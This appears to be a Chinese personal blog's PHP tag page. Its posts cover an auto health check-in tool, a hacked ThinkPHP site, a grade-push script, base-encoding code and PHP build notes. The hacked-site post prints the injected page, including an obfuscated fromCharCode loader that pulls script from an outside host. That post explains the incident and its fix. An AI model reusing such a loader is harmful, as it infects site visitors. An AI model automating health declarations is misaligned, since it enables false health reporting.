标签 PHP 下的文章

江西省高校校园防疫自动签到PHP程序

Jiangxi-University-Health-Check-in

请注意,学校都是我虚构的,我并不是在 南昌大学 {滑稽}

PHP版本 江西省普通高等学校 校园防疫 健康签到 自动签到程序,项目地址 https://github.com/PrintNow/Jiangxi-University-Health-Check-in

抓包过程

根据老师说的,在 支付宝 -> 江西省终身学习卡 -> 小程序 -> 校园防疫 -> 健康签到 进行签到

然后我就尝试 HttpCanary APP 对支付宝抓包,但是我发现,并不能正常抓包,直接阻断了,只抓到一条关于 alipay.com 域名的
然后小程序提示加载失败

我就想到了支付宝可能对抓包有所屏蔽,网上搜的解决办法就是要装 XposedMagisk
之类的进行解除限制,我手机还没解锁,要解锁还得清除手机所有数据
,嫌弃麻烦就没有再去折腾了

大概 2020-07-26 左右,心血来潮,就去解锁了,输入 TWRP,刷入 Magisk,一气呵成
,根据网上查找的资料,在 Magisk 安装某个模块,就会将用户安装的证书转换为系统证书,
这样就可以愉快的抓包了,但是我照着做了后,并没有用,还是阻断了,支付宝小程序那里提示 加载失败 好像

最后,我在 HttpCanary 设置里发现了说推荐使用 平行空间 进行抓包,我在平行空间将支付宝添加进去,然后使用 HttpCanary平行空间抓包,果不其然,抓到了数据
发现这个签到平台加载的是一个网页,然后我在 Chrome 打开,发现没有任何限制,可以直接打开。

请往下看分析过程

- 阅读剩余部分 -

记一次使用 ThinkPHP 5 框架被挂马

前言

全怪自己没有跟进更新 ThinkPHP 版本,导致被挂马,用的版本是 ThinkPHP V5.1.29 LTS

我是怎么发现的

也是听别人提起我这个网站,我才知道我还有这个网站,然后习惯的登录下看看,结果发现只有首页能打开,其它都 404,我还以为网站配置问题,我又删除了重新建立站点,发现还是一样

直到我看了下 public/ 目录
Snipaste_2020-07-09_13-19-22.png

我才发现 index.php 文件被删了,只留下 index.html 文件,其文件部分内容是:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>&#30343;&#20896;&#66;&#69;&#84;&#51;&#54;&#57;&#44;&#30343;&#20896;&#98;&#101;&#116;&#23433;&#21331;&#29256;&#19979;&#36733;&#44;&#30343;&#20896;&#98;&#101;&#116;&#25163;&#26426;&#29256;&#19979;&#36733;</title>
<meta name="keywords" content="&#98;&#101;&#116;&#30343;&#20896;&#23448;&#32593;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;"/>
<meta name="description" content="&#98;&#101;&#116;&#30343;&#20896;&#23448;&#32593;&#12304;&#119;&#119;&#119;&#46;&#51;&#50;&#52;&#52;&#48;&#52;&#46;&#99;&#111;&#109;&#12305;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#23448;&#32593;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#19979;&#36733;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#23448;&#32593;&#19968;&#30452;&#33268;&#21147;&#20110;&#23089;&#20048;&#20107;&#19994;&#30340;&#21457;&#23637;&#12290;"/>
<meta property="og:image" content="https://*.nowtime.cc/logo.png"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="****1班"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,101,102,104,102,117,104,49,46,99,111,109,47,51,54,53,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

我还以为是自己写的某个后台没有鉴权,导致上传文件出现漏洞

然后我又网上查了下 ThinkPHP 5 漏洞,然后就找到了这篇文章:ThinkPHP5.x漏洞复现

自己试了试,真能执行任意函数

ThinkPHP V5.1.29 LTS 执行任意函数

看到这我就知道了,是 ThinkPHP 的漏洞,也怪自己不及时更新框架,这个框架从18年11月,使用 Composer 安装后,我就没有更新过了,一年半过去了我才知道...

怎么解决

执行 composer update topthink/framework 更新
执行 composer update topthink/framework 更新

然后问题就解决了
然后问题就解决了

新版正方教务系统 期末成绩主动推送至微信

GitHub 项目地址

https://github.com/PrintNow/zhengfang-results-push


zhengfang-results-push

新版正方教务系统 期末成绩主动推送至微信等

配置方法

  1. 配置 functions.php 第10行、16行、21行,里面有详细的注释说明
  2. 配置 config.php 第14行,请看下方的 关于 WxPusher 的使用

关于 WxPusher 的使用

  1. 请前往 http://wxpusher.zjiecode.com/admin/app/list 新建一个应用

    没有注册账号先根据提示注册账号

    除了带有 * 标记的表单需要填写,其它都不需要填。傻瓜式填写,不多讲述

  2. 新建完应用你会获得一个 APP_TOKEN 复制它,将它填到 config.php 第14行
  3. 然后不出意外会弹出一个二维码的模态框(如果没有,点击对应 应用的 关注 即可出现)
    ./img/1.png
  4. 扫码关注公众号(这个二维码可以保存下来)
  5. 然后点击下方的 我的 -> 我的UID 获取UID,格式是 UID_xxxxxxxxx
    ./img/2.png

获取教务系统 JSESSIONID

  1. 打开教务系统
  2. 点击如图

    ./img/3.jpg

  3. 复制 SESSION
    ./img/5.png

使用方法

  1. 首次查询成绩并推送(第一次添加或更新 JSESSIONID 时用这种方法)

    1. 命令行方法,执行 php main.php -U "你的UID" -S "获取的 JSESSIONID"
    2. 网页方法,访问 http://你的域名/main.php?UID=你的UID&JSESSIONID=获取的SESSION
  2. 定时执行监听,因为已经缓存了 JSESSIONID,所以不需要传 JSESSIONID 参数

    我们学校教务系统大概每2分钟执行一次,JSESSIONID 就不会失效,你们的具体情况具体更改、
    1. 命令行方法,执行 php main.php -U "你的UID"
    2. 网页方法,访问 http://你的域名/main.php?UID=你的UID

PHP 使用匿名函数 实现 base64/32/16 加密解密(encode/decode)

base16/32 加密解密 是在网上找的拼凑的
<?php

$encode = [
    16 => function ($str) {
        $encode = '';
        $chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'];
        for ($i = 0; $i < strlen($str); $i++) {
            $encode .= $chars[(ord($str[$i]) & 0b11110000) >> 4] . $chars[ord($str[$i]) & 0b00001111];
        }
        return $encode;
    },
    32 => function ($str) {
        $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
        $output = '';
        $v = 0;
        $vbits = 0;
        for ($i = 0, $j = strlen($str); $i < $j; $i++) {
            $v <<= 8;
            $v += ord($str[$i]);
            $vbits += 8;
            while ($vbits >= 5) {
                $vbits -= 5;
                $output .= $BASE32_ALPHABET[$v >> $vbits];
                $v &= ((1 << $vbits) - 1);
            }
        }
        if ($vbits > 0) {
            $v <<= (5-$vbits);
            $output .= $BASE32_ALPHABET[$v];
        }
        return $output;
    },
    64 => function ($str) {
        return base64_encode($str);
    },
];
$decode = [
    16 => function ($str) {
        $result = '';
        for ($i = 0; $i < strlen($str) / 2; $i++) {
            $result .= chr(intval(substr($str, $i * 2, 2), 16));
        }
        return $result;
    },
    32 => function ($str) {
        $output = '';
        $v = 0;
        $vbits = 0;
        for($i = 0, $j = strlen($str); $i < $j; $i++) {
            $v <<= 5;
            if ($str[$i] >= 'a' && $str[$i] <= 'z') {
                $v += (ord($str[$i]) - 97);
            }
            elseif ($str[$i] >= '2' && $str[$i] <= '7') {
                $v += (24 + $str[$i]);
            }
            else {
                exit(1);
            }
            $vbits += 5;
            while($vbits >= 8){
                $vbits -= 8;
                $output .= chr($v >> $vbits);
                $v &= ((1 << $vbits) - 1);
            }
        }
        return $output;
    },
    64 => function ($str) {
        return base64_decode($str);
    },
];

var_dump($encode[16]('chuwen'));
var_dump($encode[32]('chuwen'));
var_dump($encode[64]('chuwen'));

echo PHP_EOL;

var_dump($decode[16]($encode[16]('chuwen')));
var_dump($decode[32]($encode[32]('chuwen')));
var_dump($decode[64]($encode[64]('chuwen')));

Ubuntu 编译安装 PHP 8.0-Alpha 过程

apt install libsqlite3-dev

configure: error: Please reinstall the BZip2 distribution

那就去安装

sudo apt-get install libbz2-dev

No package 'libcurl' found

 apt-get install libcurl4-openssl-dev

configure: error: GNU MP Library version 4.2 or greater required.

apt install libgmp-dev

No package 'oniguruma' found

apt install libonig-dev

configure: error: Please reinstall readline - I cannot find readline.h

sudo apt-get install libreadline6-dev 

apt install libsqlite3-dev
apt-get install libbz2-dev
apt-get install libcurl4-openssl-dev
apt install libgmp-dev
apt install libonig-dev
apt-get install libreadline6-dev 

+--------------------------------------------------------------------+
| License:                                                           |
| This software is subject to the PHP License, available in this     |
| distribution in the file LICENSE. By continuing this installation  |
| process, you are bound by the terms of this license agreement.     |
| If you do not agree with the terms of this license, you must abort |
| the installation process at this point.                            |
+--------------------------------------------------------------------+

Thank you for using PHP.

configure: WARNING: unrecognized options: --enable-inline-optimization, --with-libxml-dir, --with-xmlrpc, --with-pcre-regex, --with-pcre-dir, --with-gd, --with-jpeg-dir, --with-png-dir, --with-freetype-dir, --with-onig, --enable-zip, --enable-wddx